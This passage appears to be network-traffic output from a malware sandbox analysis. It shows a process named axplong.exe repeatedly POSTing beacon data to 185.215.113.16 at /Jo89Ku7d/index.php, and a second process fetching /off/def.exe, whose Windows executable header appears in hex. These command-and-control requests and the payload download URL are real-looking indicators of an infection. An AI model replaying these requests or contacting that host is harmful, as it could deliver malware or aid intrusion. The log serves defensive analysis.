58	192.168.2.5	50060	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:39.244519949 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:40.155226946 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	50061	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:40.185478926 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:41.132345915 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	50062	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:41.261826992 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:42.166090012 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	50064	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:42.175648928 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:43.080013037 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	50065	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:43.247246981 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:44.153549910 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	50066	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:44.162486076 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:45.073321104 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	50067	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:45.197989941 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:46.110539913 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	50068	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:46.121068001 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:47.028408051 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	50069	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:47.152127981 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:48.056788921 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	50070	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:48.353065014 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:49.251648903 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	50071	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:49.425280094 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:50.337095022 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	50072	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:50.355822086 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:51.279246092 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	50074	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:51.400681973 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:52.308943987 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	50075	185.215.113.16	80	1680	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:51.508213043 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 29, 2024 05:03:52.423767090 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:52 GMT Content-Type: application/octet-stream Content-Length: 2838528 Last-Modified: Tue, 29 Oct 2024 03:25:40 GMT Connection: keep-alive ETag: "672055b4-2b5000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 af 68 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,h+`Ui` @ @.rsrc`2@.idata 8@bbzqfojp+:@ynvwdqnr ++@.taggant@+".+@
Oct 29, 2024 05:03:52.423821926 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 05:03:52.423860073 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 05:03:52.423890114 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 05:03:52.423943996 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 05:03:52.423979998 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 05:03:52.424014091 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 05:03:52.424048901 CET	848	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 05:03:52.424082041 CET	948	IN	Data Raw: 33 d6 47 cd 39 d5 94 ae 2d fe 96 fb 2f e8 b0 c2 5a d6 b2 c5 d8 17 af f1 fa 77 8a 80 3a db ad de 67 a4 ab cb fb d9 4f 87 0f a4 79 91 01 f7 b8 21 6d 71 38 0f 67 c3 9b e1 18 d1 b3 f7 63 d0 b6 25 59 28 02 98 17 c2 b7 ec 08 a5 7c be 57 dc ba c6 38 cf Data Ascii: 3G9-/Zw:gOy!mq8gc%Y(\|W8/_g~voc07'/MHUp&?!u0A YrS#etnHGgV/BG?2=yU9$
Oct 29, 2024 05:03:52.424120903 CET	1236	IN	Data Raw: a8 f6 df 54 7f cf 84 13 65 fd ec c7 73 4f a4 3f 8e db b0 cd bd 95 bf eb 9b c5 e8 67 2b 09 37 2d b4 7b b1 d1 2a ca ba 57 37 bd ba e0 fd 47 54 05 c0 dd 9e 1f 05 87 9c a5 0f c4 3a d9 80 8e c4 e5 7f 8a b2 f3 f3 5e 3c 46 f7 f7 73 0e 0c 23 b2 61 30 d2 Data Ascii: TesO?g+7-{*W7GT:^<Fs#a0<N.3 .)s`()8q.(4`F4)gY%/#m\0r+Zq%;357-DT)EdM
Oct 29, 2024 05:03:52.429594040 CET	1236	IN	Data Raw: 00 f2 ca 65 e5 b6 9c 4b f7 e3 b7 52 0a 81 43 b4 44 76 fc 93 e9 63 3c 46 29 fc f7 e2 32 9e b6 a6 ae f4 af a8 3d e1 ae d2 41 3b a1 82 6a b6 c5 ed 40 25 af 96 53 78 8b 6b 2c 56 9b ad 52 b2 4f 2e 27 ba cf a2 48 ac ce f9 4e b5 c4 1c 21 14 cc a5 50 83 Data Ascii: eKRCDvc<F)2=A;j@%Sxk,VRO.'HN!PnU[)SI=TkRYy^lQNTI1bPCB3@gcF19Rzao*awSK:x5YnS2jP~@d,0SsM<+CVO])C+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	50076	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:52.319617987 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:53.226865053 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	50077	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:53.527128935 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:54.428682089 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	50078	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:54.438661098 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:55.361905098 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	50079	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:55.479340076 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:56.398547888 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	50080	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
